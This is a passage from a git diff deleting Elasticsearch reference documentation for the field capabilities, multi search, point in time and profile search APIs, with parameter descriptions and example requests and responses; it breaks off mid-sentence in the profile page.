-==== {api-request-title}
-
-`GET /_field_caps?fields=<fields>`
-
-`POST /_field_caps?fields=<fields>`
-
-`GET /<target>/_field_caps?fields=<fields>`
-
-`POST /<target>/_field_caps?fields=<fields>`
-
-
-[[search-field-caps-api-desc]]
-==== {api-description-title}
-
-
-The field capabilities API returns the information about the capabilities of
-fields among multiple indices.
-
-
-[[search-field-caps-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[search-field-caps-api-query-params]]
-==== {api-query-parms-title}
-
-`fields`::
-(Required, string)
-Comma-separated list of fields to retrieve capabilities for. Wildcard (`*`)
-expressions are supported.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
---
-Defaults to `open`.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`include_unmapped`::
-  (Optional, Boolean) If `true`, unmapped fields are included in the response.
-  Defaults to `false`.
-
-[[search-field-caps-api-request-body]]
-==== {api-request-body-title}
-
-`index_filter`::
-(Optional,  <<query-dsl,query object>> Allows to filter indices if the provided
-query rewrites to `match_none` on every shard.
-
-[[search-field-caps-api-response-body]]
-==== {api-response-body-title}
-
-
-The types used in the response describe _families_ of field types.
-Normally a type family is the same as the field type declared in the mapping,
-but to simplify matters certain field types that behave identically are
-described using a type family. For example, `keyword`, `constant_keyword` and `wildcard`
-field types are all described as the `keyword` type family.
-
-
-
-`searchable`::
-  Whether this field is indexed for search on all indices.
-
-`aggregatable`::
-  Whether this field can be aggregated on all indices.
-
-`indices`::
-  The list of indices where this field has the same type family, or null if all indices
-  have the same type family for the field.
-
-`non_searchable_indices`::
-  The list of indices where this field is not searchable, or null if all indices
-  have the same definition for the field.
-
-`non_aggregatable_indices`::
-  The list of indices where this field is not aggregatable, or null if all
-  indices have the same definition for the field.
-
-`meta`::
-  Merged metadata across all indices as a map of string keys to arrays of values.
-  A value length of 1 indicates that all indices had the same value for this key,
-  while a length of 2 or more indicates that not all indices had the same value
-  for this key.
-
-
-[[search-field-caps-api-example]]
-==== {api-examples-title}
-
-
-The request can be restricted to specific data streams and indices:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_field_caps?fields=rating
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-The next example API call requests information about the `rating` and the
-`title` fields:
-
-[source,console]
---------------------------------------------------
-GET _field_caps?fields=rating,title
---------------------------------------------------
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices": [ "index1", "index2", "index3", "index4", "index5" ],
-  "fields": {
-    "rating": {                                   <1>
-      "long": {
-        "searchable": true,
-        "aggregatable": false,
-        "indices": [ "index1", "index2" ],
-        "non_aggregatable_indices": [ "index1" ]  <2>
-      },
-      "keyword": {
-        "searchable": false,
-        "aggregatable": true,
-        "indices": [ "index3", "index4" ],
-        "non_searchable_indices": [ "index4" ]    <3>
-      }
-    },
-    "title": {                                    <4>
-      "text": {
-        "searchable": true,
-        "aggregatable": false
-
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:historically skipped]
-
-<1> The field `rating` is defined as a long in `index1` and `index2`
-and as a `keyword` in `index3` and `index4`.
-<2> The field `rating` is not aggregatable in `index1`.
-<3> The field `rating` is not searchable in `index4`.
-<4> The field `title` is defined as `text` in all indices.
-
-
-By default unmapped fields are ignored. You can include them in the response by
-adding a parameter called `include_unmapped` in the request:
-
-[source,console]
---------------------------------------------------
-GET _field_caps?fields=rating,title&include_unmapped
---------------------------------------------------
-
-In which case the response will contain an entry for each field that is present
-in some indices but not all:
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices": [ "index1", "index2", "index3" ],
-  "fields": {
-    "rating": {
-      "long": {
-        "searchable": true,
-        "aggregatable": false,
-        "indices": [ "index1", "index2" ],
-        "non_aggregatable_indices": [ "index1" ]
-      },
-      "keyword": {
-        "searchable": false,
-        "aggregatable": true,
-        "indices": [ "index3", "index4" ],
-        "non_searchable_indices": [ "index4" ]
-      },
-      "unmapped": {                               <1>
-        "indices": [ "index5" ],
-        "searchable": false,
-        "aggregatable": false
-      }
-    },
-    "title": {
-      "text": {
-        "indices": [ "index1", "index2", "index3", "index4" ],
-        "searchable": true,
-        "aggregatable": false
-      },
-      "unmapped": {                               <2>
-        "indices": [ "index5" ],
-        "searchable": false,
-        "aggregatable": false
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:historically skipped]
-
-<1> The `rating` field is unmapped` in `index5`.
-<2> The `title` field is unmapped` in `index5`.
-
-It is also possible to filter indices with a query:
-
-[source,console]
---------------------------------------------------
-POST my-index-*/_field_caps?fields=rating
-{
-  "index_filter": {
-    "range": {
-      "@timestamp": {
-        "gte": "2018"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-In which case indices that rewrite the provided filter to `match_none` on every shard
-will be filtered from the response.
-
---
-[IMPORTANT]
-====
-The filtering is done on a best-effort basis, it uses index statistics and mappings
-to rewrite queries to `match_none` instead of fully executing the request.
-For instance a `range` query over a `date` field can rewrite to `match_none`
-if all documents within a shard (including deleted documents) are outside
-of the provided range.
-However, not all queries can rewrite to `match_none` so this API may return
-an index even if the provided filter matches no document.
-====
---
diff --git a/docs/reference/search/multi-search.asciidoc b/docs/reference/search/multi-search.asciidoc
deleted file mode 100644
index 798f1dc30fc..00000000000
--- a/docs/reference/search/multi-search.asciidoc
+++ /dev/null
@@ -1,412 +0,0 @@
-[[search-multi-search]]
-=== Multi search API
-++++
-<titleabbrev>Multi search</titleabbrev>
-++++
-
-Executes several searches with a single API request.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_msearch
-{ }
-{"query" : {"match" : { "message": "this is a test"}}}
-{"index": "my-index-000002"}
-{"query" : {"match_all" : {}}}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[search-multi-search-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_msearch`
-
-
-[[search-multi-search-api-desc]]
-==== {api-description-title}
-
-The multi search API executes several searches from a single API request.
-The format of the request is similar to the bulk API format and makes use
-of the newline delimited JSON (NDJSON) format.
-
-The structure is as follows:
-
-[source,js]
---------------------------------------------------
-header\n
-body\n
-header\n
-body\n
---------------------------------------------------
-// NOTCONSOLE
-
-This structure is specifically optimized to reduce parsing if a specific search
-ends up redirected to another node.
-
-[IMPORTANT]
-====
-The final line of data must end with a newline character `\n`. Each newline
-character may be preceded by a carriage return `\r`. When sending requests to
-this endpoint the `Content-Type` header should be set to `application/x-ndjson`.
-====
-
-[[search-multi-search-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases to search.
-+
-This list acts as a fallback if a search in the request body does not specify an
-`index` target.
-+
-Wildcard (`*`) expressions are supported. To search all data streams and indices
-in a cluster, omit this parameter or use `_all` or `*`.
-
-[[search-multi-search-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-
-`ccs_minimize_roundtrips`::
-(Optional, Boolean)
-If `true`, network roundtrips between the coordinating node and remote clusters
-are minimized for {ccs} requests. Defaults to `true`. See
-<<ccs-network-delays>>.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-`ignore_throttled`::
-(Optional, Boolean)
-If `true`, concrete, expanded or aliased indices are ignored when frozen.
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`max_concurrent_searches`::
-(Optional, integer)
-Maximum number of concurrent searches the multi search API can execute. Defaults
-to +max(1, (# of <<data-node,data nodes>> * min(<<search-threadpool,search thread pool size>>, 10)))+.
-
-`max_concurrent_shard_requests`::
-+
---
-(Optional, integer)
-Maximum number of concurrent shard requests that each sub-search request
-executes per node.  Defaults to `5`.
-
-You can use this parameter to prevent a request from overloading a cluster. For
-example, a default request hits all data streams and indices in a cluster. This
-could cause shard request rejections if the number of shards per node is high.
-
-In certain scenarios, parallelism isn't achieved through concurrent requests. In
-those cases, a low value in this  parameter could result in poor performance.
-For example, in an environment where a very low number of concurrent search
-requests are expected, a higher value in this parameter may improve performance.
---
-
-`pre_filter_shard_size`::
-(Optional, integer)
-Defines a threshold that enforces a pre-filter roundtrip to prefilter search
-shards based on query rewriting if the number of shards the search request
-expands to exceeds the threshold. This filter roundtrip can limit the number of
-shards significantly if for instance a shard can not match any documents based
-on its rewrite method i.e., if date filters are mandatory to match but the
-shard bounds and the query are disjoint.
-When unspecified, the pre-filter phase is executed if any of these
-conditions is met:
-  - The request targets more than `128` shards.
-  - The request targets one or more read-only index.
-  - The primary sort of the query targets an indexed field.
-
-`rest_total_hits_as_int`::
-(Optional, Boolean)
-If `true`, `hits.total` are returned as an integer in the
-response. Defaults to `false`, which returns an object.
-
-`routing`::
-(Optional, string)
-Custom <<mapping-routing-field,routing value>> used to route search operations
-to a specific shard.
-
-`search_type`::
-+
---
-(Optional, string)
-Indicates whether global term and document frequencies should be used when
-scoring returned documents.
-
-Options are:
-
-`query_then_fetch`::
-(default)
-Documents are scored using local term and document frequencies for the shard.
-This is usually faster but less accurate.
-
-`dfs_query_then_fetch`::
-Documents are scored using global term and document frequencies across all
-shards. This is usually slower but more accurate.
---
-
-`typed_keys`::
-(Optional, Boolean)
-Specifies whether aggregation and suggester names should be prefixed by their
-respective types in the response.
-
-[[search-multi-search-api-request-body]]
-==== {api-request-body-title}
-
-The request body contains a newline-delimited list of search `<header>` and
-search `<body>` objects.
-
-`<header>`::
-+
---
-(Required, object)
-Contains parameters used to limit or change the subsequent search body request.
-
-This object is required for each search body but can be empty (`{}`) or a blank
-line.
---
-
-`allow_no_indices`:::
-(Optional, Boolean)
-If `true`, the request does *not* return an error if a wildcard expression or
-`_all` value retrieves only missing or closed indices.
-+
-This parameter also applies to <<indices-aliases,index aliases>> that point to a
-missing or closed index.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-`ignore_unavailable`:::
-(Optional, Boolean) If `true`, documents from missing or closed indices are not
-included in the response. Defaults to `false`.
-
-`index`:::
-(Optional, string or array of strings)
-Data streams, indices, and index aliases to search. Wildcard (`*`) expressions
-are supported. You can specify multiple targets as an array.
-+
-If this parameter is not specified, the `<target>` request path parameter
-is used as a fallback.
-
-`preference`:::
-(Optional, string)
-Node or shard used to perform the search. Random by default.
-
-`request_cache`:::
-(Optional, Boolean)
-If `true`, the request cache can be used for this search. Defaults to
-index-level settings. See <<shard-request-cache>>.
-
-`routing`:::
-(Optional, string)
-Custom <<mapping-routing-field,routing value>> used to route search operations
-to a specific shard.
-
-`search_type`:::
-+
---
-(Optional, string)
-Indicates whether global term and document frequencies should be used when
-scoring returned documents.
-
-Options are:
-
-`query_then_fetch`::
-(default)
-Documents are scored using local term and document frequencies for the shard.
-This is usually faster but less accurate.
-
-`dfs_query_then_fetch`::
-Documents are scored using global term and document frequencies across all
-shards. This is usually slower but more accurate.
---
-
-`<body>`::
-(Optional, object)
-Contains parameters for a search request:
-
-`aggregations`:::
-(Optional, <<search-aggregations,aggregation object>>)
-Aggregations you wish to run during the search. See <<search-aggregations>>.
-
-`query`:::
-(Optional, <<query-dsl,query DSL object>>) Query you wish to run during the
-search. Hits matching this query are returned in the response.
-
-`from`:::
-(Optional, integer)
-Starting offset for returned hits. Defaults to `0`.
-
-`size`:::
-(Optional, integer)
-Number of hits to return. Defaults to `10`.
-
-[[search-multi-search-api-response-body]]
-==== {api-response-body-title}
-
-`responses`::
-  (array) Includes the search response and status code for each search request
-  matching its order in the original multi search request. If there was a
-  complete failure for a specific search request, an object with `error` message
-  and corresponding status code will be returned in place of the actual search
-  response.
-
-
-[[search-multi-search-api-example]]
-==== {api-examples-title}
-
-The header part includes which data streams, indices, and index aliases to
-search. The header also indicates the `search_type`,
-`preference`, and `routing`. The body includes the typical search body request
-(including the `query`, `aggregations`, `from`, `size`, and so on).
-
-[source,js]
---------------------------------------------------
-$ cat requests
-{"index" : "test"}
-{"query" : {"match_all" : {}}, "from" : 0, "size" : 10}
-{"index" : "test", "search_type" : "dfs_query_then_fetch"}
-{"query" : {"match_all" : {}}}
-{}
-{"query" : {"match_all" : {}}}
-
-{"query" : {"match_all" : {}}}
-{"search_type" : "dfs_query_then_fetch"}
-{"query" : {"match_all" : {}}}
---------------------------------------------------
-// NOTCONSOLE
-
-[source,js]
---------------------------------------------------
-$ curl -H "Content-Type: application/x-ndjson" -XGET localhost:9200/_msearch --data-binary "@requests"; echo
---------------------------------------------------
-// NOTCONSOLE
-
-Note, the above includes an example of an empty header (can also be just
-without any content) which is supported as well.
-
-
-The endpoint also allows you to search against data streams, indices, and index
-aliases in the request path. In this case, it will be used as the default target
-unless explicitly specified in the header's `index` parameter. For example:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_msearch
-{}
-{"query" : {"match_all" : {}}, "from" : 0, "size" : 10}
-{}
-{"query" : {"match_all" : {}}}
-{"index" : "my-index-000002"}
-{"query" : {"match_all" : {}}}
---------------------------------------------------
-// TEST[setup:my_index]
-
-The above will execute the search against the `my-index-000001` index for all the
-requests that don't define an `index` target in the request body. The last
-search will be executed against the `my-index-000002` index.
-
-The `search_type` can be set in a similar manner to globally apply to
-all search requests.
-
-
-[[msearch-security]]
-==== Security
-
-See <<url-access-control>>
-
-
-[[template-msearch]]
-==== Template support
-
-Much like described in <<search-template>> for the _search resource, _msearch
-also provides support for templates. Submit them like follows for inline
-templates:
-
-[source,console]
------------------------------------------------
-GET _msearch/template
-{"index" : "my-index-000001"}
-{ "source" : "{ \"query\": { \"match\": { \"message\" : \"{{keywords}}\" } } } }", "params": { "query_type": "match", "keywords": "some message" } }
-{"index" : "my-index-000001"}
-{ "source" : "{ \"query\": { \"match_{{template}}\": {} } }", "params": { "template": "all" } }
------------------------------------------------
-// TEST[setup:my_index]
-
-
-You can also create search templates:
-
-[source,console]
-------------------------------------------
-POST /_scripts/my_template_1
-{
-  "script": {
-    "lang": "mustache",
-    "source": {
-      "query": {
-        "match": {
-          "message": "{{query_string}}"
-        }
-      }
-    }
-  }
-}
-------------------------------------------
-// TEST[setup:my_index]
-
-
-[source,console]
-------------------------------------------
-POST /_scripts/my_template_2
-{
-  "script": {
-    "lang": "mustache",
-    "source": {
-      "query": {
-        "term": {
-          "{{field}}": "{{value}}"
-        }
-      }
-    }
-  }
-}
-------------------------------------------
-// TEST[continued]
-
-You can use search templates in a _msearch:
-
-[source,console]
------------------------------------------------
-GET _msearch/template
-{"index" : "main"}
-{ "id": "my_template_1", "params": { "query_string": "some message" } }
-{"index" : "main"}
-{ "id": "my_template_2", "params": { "field": "user", "value": "test" } }
------------------------------------------------
-// TEST[continued]
-
-
-[[multi-search-partial-responses]]
-==== Partial responses
-
-To ensure fast responses, the multi search API will respond with partial results
-if one or more shards fail. See <<shard-failures, Shard failures>> for more
-information.
-
-
-[[msearch-cancellation]]
-==== Search Cancellation
-
-Multi searches can be cancelled using standard <<task-cancellation,task cancellation>>
-mechanism and are also automatically cancelled when the http connection used to
-perform the request is closed by the client. It is fundamental that the http
-client sending requests closes connections whenever requests time out or are
-aborted. Cancelling an msearch request will also cancel all of the corresponding
-sub search requests.
diff --git a/docs/reference/search/point-in-time-api.asciidoc b/docs/reference/search/point-in-time-api.asciidoc
deleted file mode 100644
index f6b962a721f..00000000000
--- a/docs/reference/search/point-in-time-api.asciidoc
+++ /dev/null
@@ -1,120 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[point-in-time-api]]
-=== Point in time API
-++++
-<titleabbrev>Point in time</titleabbrev>
-++++
-
-A search request by default executes against the most recent visible data of
-the target indices, which is called point in time. Elasticsearch pit (point in time)
-is a lightweight view into the state of the data as it existed when initiated.
-In some cases, it's preferred to perform multiple search requests using
-the same point in time. For example, if <<indices-refresh,refreshes>> happen between
-search_after requests, then the results of those requests might not be consistent as
-changes happening between searches are only visible to the more recent point in time.
-
-A point in time must be opened explicitly before being used in search requests. The
-keep_alive parameter tells Elasticsearch how long it should keep a point in time alive,
-e.g. `?keep_alive=5m`.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_pit?keep_alive=1m
---------------------------------------------------
-// TEST[setup:my_index]
-
-The result from the above request includes a `id`, which should
-be passed to the `id` of the `pit` parameter of a search request.
-
-[source,console]
---------------------------------------------------
-POST /_search <1>
-{
-    "size": 100,
-    "query": {
-        "match" : {
-            "title" : "elasticsearch"
-        }
-    },
-    "pit": {
-	    "id":  "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWICBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==", <2>
-	    "keep_alive": "1m"  <3>
-    }
-}
---------------------------------------------------
-// TEST[catch:missing]
-
-<1> A search request with the `pit` parameter must not specify `index`, `routing`,
-and {ref}/search-request-body.html#request-body-search-preference[`preference`]
-as these parameters are copied from the point in time.
-<2> The `id` parameter tells Elasticsearch to execute the request using contexts
-from this point int time.
-<3> The `keep_alive` parameter tells Elasticsearch how long it should extend
-the time to live of the point in time.
-
-IMPORTANT: The open point in time request and each subsequent search request can
-return different `id`; thus always use the most recently received `id` for the
-next search request.
-
-[[point-in-time-keep-alive]]
-==== Keeping point in time alive
-The `keep_alive` parameter, which is passed to a open point in time request and
-search request, extends the time to live of the corresponding point in time.
-The value (e.g. `1m`, see <<time-units>>) does not need to be long enough to
-process all data -- it just needs to be long enough for the next request.
-
-Normally, the background merge process optimizes the index by merging together
-smaller segments to create new, bigger segments. Once the smaller segments are
-no longer needed they are deleted. However, open point-in-times prevent the
-old segments from being deleted since they are still in use.
-
-TIP: Keeping older segments alive means that more disk space and file handles
-are needed. Ensure that you have configured your nodes to have ample free file
-handles. See <<file-descriptors>>.
-
-Additionally, if a segment contains deleted or updated documents then the
-point in time must keep track of whether each document in the segment was live at
-the time of the initial search request. Ensure that your nodes have sufficient heap
-space if you have many open point-in-times on an index that is subject to ongoing
-deletes or updates.
-
-You can check how many point-in-times (i.e, search contexts) are open with the
-<<cluster-nodes-stats,nodes stats API>>:
-
-[source,console]
----------------------------------------
-GET /_nodes/stats/indices/search
----------------------------------------
-
-[[close-point-in-time-api]]
-==== Close point in time API
-
-Point-in-time is automatically closed when its `keep_alive` has
-been elapsed. However keeping point-in-times has a cost, as discussed in the
-<<point-in-time-keep-alive,previous section>>. Point-in-times should be closed
-as soon as they are no longer used in search requests.
-
-[source,console]
----------------------------------------
-DELETE /_pit
-{
-    "id" : "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWIBBXV1aWQyAAA="
-}
----------------------------------------
-// TEST[catch:missing]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "succeeded": true, <1>
-   "num_freed": 3     <2>
-}
---------------------------------------------------
-// TESTRESPONSE[s/"succeeded": true/"succeeded": $body.succeeded/]
-// TESTRESPONSE[s/"num_freed": 3/"num_freed": $body.num_freed/]
-
-<1> If true, all search contexts associated with the point-in-time id are successfully closed
-<2> The number of search contexts have been successfully closed
diff --git a/docs/reference/search/point-in-time.asciidoc b/docs/reference/search/point-in-time.asciidoc
deleted file mode 100644
index a79ca0f3ad4..00000000000
--- a/docs/reference/search/point-in-time.asciidoc
+++ /dev/null
@@ -1,116 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[point-in-time]]
-==== Point in time
-
-A search request by default executes against the most recent visible data of
-the target indices, which is called point in time. Elasticsearch pit (point in time)
-is a lightweight view into the state of the data as it existed when initiated.
-In some cases, it's preferred to perform multiple search requests using
-the same point in time. For example, if <<indices-refresh,refreshes>> happen between
-search_after requests, then the results of those requests might not be consistent as
-changes happening between searches are only visible to the more recent point in time.
-
-A point in time must be opened explicitly before being used in search requests. The
-keep_alive parameter tells Elasticsearch how long it should keep a point in time alive,
-e.g. `?keep_alive=5m`.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_pit?keep_alive=1m
---------------------------------------------------
-// TEST[setup:my_index]
-
-The result from the above request includes a `id`, which should
-be passed to the `id` of the `pit` parameter of a search request.
-
-[source,console]
---------------------------------------------------
-POST /_search <1>
-{
-    "size": 100,
-    "query": {
-        "match" : {
-            "title" : "elasticsearch"
-        }
-    },
-    "pit": {
-	    "id":  "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWICBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==", <2>
-	    "keep_alive": "1m"  <3>
-    }
-}
---------------------------------------------------
-// TEST[catch:missing]
-
-<1> A search request with the `pit` parameter must not specify `index`, `routing`,
-and {ref}/search-request-body.html#request-body-search-preference[`preference`]
-as these parameters are copied from the point in time.
-<2> The `id` parameter tells Elasticsearch to execute the request using contexts
-from this point int time.
-<3> The `keep_alive` parameter tells Elasticsearch how long it should extend
-the time to live of the point in time.
-
-IMPORTANT: The open point in time request and each subsequent search request can
-return different `id`; thus always use the most recently received `id` for the
-next search request.
-
-[[point-in-time-keep-alive]]
-===== Keeping point in time alive
-The `keep_alive` parameter, which is passed to a open point in time request and
-search request, extends the time to live of the corresponding point in time.
-The value (e.g. `1m`, see <<time-units>>) does not need to be long enough to
-process all data -- it just needs to be long enough for the next request.
-
-Normally, the background merge process optimizes the index by merging together
-smaller segments to create new, bigger segments. Once the smaller segments are
-no longer needed they are deleted. However, open point-in-times prevent the
-old segments from being deleted since they are still in use.
-
-TIP: Keeping older segments alive means that more disk space and file handles
-are needed. Ensure that you have configured your nodes to have ample free file
-handles. See <<file-descriptors>>.
-
-Additionally, if a segment contains deleted or updated documents then the
-point in time must keep track of whether each document in the segment was live at
-the time of the initial search request. Ensure that your nodes have sufficient heap
-space if you have many open point-in-times on an index that is subject to ongoing
-deletes or updates.
-
-You can check how many point-in-times (i.e, search contexts) are open with the
-<<cluster-nodes-stats,nodes stats API>>:
-
-[source,console]
----------------------------------------
-GET /_nodes/stats/indices/search
----------------------------------------
-
-===== Close point in time API
-
-Point-in-time is automatically closed when its `keep_alive` has
-been elapsed. However keeping point-in-times has a cost, as discussed in the
-<<point-in-time-keep-alive,previous section>>. Point-in-times should be closed
-as soon as they are no longer used in search requests.
-
-[source,console]
----------------------------------------
-DELETE /_pit
-{
-    "id" : "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWIBBXV1aWQyAAA="
-}
----------------------------------------
-// TEST[catch:missing]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "succeeded": true, <1>
-   "num_freed": 3     <2>
-}
---------------------------------------------------
-// TESTRESPONSE[s/"succeeded": true/"succeeded": $body.succeeded/]
-// TESTRESPONSE[s/"num_freed": 3/"num_freed": $body.num_freed/]
-
-<1> If true, all search contexts associated with the point-in-time id are successfully closed
-<2> The number of search contexts have been successfully closed
diff --git a/docs/reference/search/profile.asciidoc b/docs/reference/search/profile.asciidoc
deleted file mode 100644
index a48479d62f5..00000000000
--- a/docs/reference/search/profile.asciidoc
+++ /dev/null
@@ -1,945 +0,0 @@
-[[search-profile]]
-=== Profile API
-
-WARNING: The Profile API is a debugging tool and adds significant overhead to search execution.
-
-Provides detailed timing information about the execution of individual 
-components in a search request.
-
-
-[[search-profile-api-desc]]
-==== {api-description-title}
-
-The Profile API gives the user insight into how search requests are executed at 
-a low level so that the user can understand why certain requests are slow, and 
-take steps to improve them. Note that the Profile API, 
-<<profile-limitations, amongst other things>>, doesn't measure network latency, 
-time spent in the search fetch phase, time spent while the requests spends in 
-queues or while merging shard responses on the coordinating node.
-
-The output from the Profile API is *very* verbose, especially for complicated 
-requests executed across many shards. Pretty-printing the response is 
-recommended to help understand the output.
-
-
-[[search-profile-api-example]]
-==== {api-examples-title}
-
-
-Any `_search` request can be profiled by adding a top-level `profile` parameter:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search
-{
-  "profile": true,<1>
-  "query" : {
-    "match" : { "message" : "GET /search" }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-<1> Setting the top-level `profile` parameter to `true` will enable profiling
-for the search.
-
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 25,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-      "value": 5,
-      "relation": "eq"
-    },
-    "max_score": 0.17402273,
-    "hits": [...] <1>
-  },
-  "profile": {
-    "shards": [
-      {
-        "id": "[2aE02wS1R8q_QFnYu6vDVQ][my-index-000001][0]",
-        "searches": [
-          {
-            "query": [
-              {
-                "type": "BooleanQuery",
-                "description": "message:get
-                message:search", "time_in_nanos" : 11972972, "breakdown" :
-                {
-                  "set_min_competitive_score_count": 0,
-                  "match_count": 5,
-                  "shallow_advance_count": 0,
-                  "set_min_competitive_score": 0,
-                  "next_doc": 39022,
-                  "match": 4456,
-                  "next_doc_count": 5,
-                  "score_count": 5,
-                  "compute_max_score_count": 0,
-                  "compute_max_score": 0,
-                  "advance": 84525,
-                  "advance_count": 1,
-                  "score": 37779,
-                  "build_scorer_count": 2,
-                  "create_weight": 4694895,
-                  "shallow_advance": 0,
-                  "create_weight_count": 1,
-                  "build_scorer": 7112295
-                },
-                "children": [
-                  {
-                    "type": "TermQuery",
-                    "description": "message:get",
-                    "time_in_nanos": 3801935,
-                    "breakdown": {
-                      "set_min_competitive_score_count": 0,
-                      "match_count": 0,
-                      "shallow_advance_count": 3,
-                      "set_min_competitive_score": 0,
-                      "next_doc": 0,
-                      "match": 0,
-                      "next_doc_count": 0,
-                      "score_count": 5,
-                      "compute_max_score_count": 3,
-                      "compute_max_score": 32487,
-                      "advance": 5749,
-                      "advance_count": 6,
-                      "score": 16219,
-                      "build_scorer_count": 3,
-                      "create_weight": 2382719,
-                      "shallow_advance": 9754,
-                      "create_weight_count": 1,
-                      "build_scorer": 1355007
-                    }
-                  },
-                  {
-                    "type": "TermQuery",
-                    "description": "message:search",
-                    "time_in_nanos": 205654,
-                    "breakdown": {
-                      "set_min_competitive_score_count": 0,
-                      "match_count": 0,
-                      "shallow_advance_count": 3,
-                      "set_min_competitive_score": 0,
-                      "next_doc": 0,
-                      "match": 0,
-                      "next_doc_count": 0,
-                      "score_count": 5,
-                      "compute_max_score_count": 3,
-                      "compute_max_score": 6678,
-                      "advance": 12733,
-                      "advance_count": 6,
-                      "score": 6627,
-                      "build_scorer_count": 3,
-                      "create_weight": 130951,
-                      "shallow_advance": 2512,
-                      "create_weight_count": 1,
-                      "build_scorer": 46153
-                    }
-                  }
-                ]
-              }
-            ],
-            "rewrite_time": 451233,
-            "collector": [
-              {
-                "name": "SimpleTopScoreDocCollector",
-                "reason": "search_top_hits",
-                "time_in_nanos": 775274
-              }
-            ]
-          }
-        ],
-        "aggregations": []
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 25/"took": $body.took/]
-// TESTRESPONSE[s/"hits": \[...\]/"hits": $body.$_path/]
-// TESTRESPONSE[s/(?<=[" ])\d+(\.\d+)?/$body.$_path/]
-// TESTRESPONSE[s/\[2aE02wS1R8q_QFnYu6vDVQ\]\[my-index-000001\]\[0\]/$body.$_path/]
-
-<1> Search results are returned, but were omitted here for brevity.
-
-Even for a simple query, the response is relatively complicated.  Let's break it 
-down piece-by-piece before moving to more complex examples.
-
-
-The overall structure of the profile response is as follows:
-
-[source,console-result]
---------------------------------------------------
-{
-   "profile": {
-        "shards": [
-           {
-              "id": "[2aE02wS1R8q_QFnYu6vDVQ][my-index-000001][0]",  <1>
-              "searches": [
-                 {
-                    "query": [...],             <2>
-                    "rewrite_time": 51443,      <3>
-                    "collector": [...]          <4>
-                 }
-              ],
-              "aggregations": [...]             <5>
-           }
-        ]
-     }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"profile": /"took": $body.took, "timed_out": $body.timed_out, "_shards": $body._shards, "hits": $body.hits, "profile": /]
-// TESTRESPONSE[s/(?<=[" ])\d+(\.\d+)?/$body.$_path/]
-// TESTRESPONSE[s/\[2aE02wS1R8q_QFnYu6vDVQ\]\[my-index-000001\]\[0\]/$body.$_path/]
-// TESTRESPONSE[s/"query": \[...\]/"query": $body.$_path/]
-// TESTRESPONSE[s/"collector": \[...\]/"collector": $body.$_path/]
-// TESTRESPONSE[s/"aggregations": \[...\]/"aggregations": []/]
-<1> A profile is returned for each shard that participated in the response, and 
-is identified by a unique ID.
-<2> Each profile contains a section which holds details about the query 
-execution.
-<3> Each profile has a single time representing the cumulative rewrite time.
-<4> Each profile also contains a section about the Lucene Collectors which run 
-the search.
-<5> Each profile contains a section which holds the details about the 
-aggregation execution.
-
-Because a search request may be executed against one or more shards in an index, 
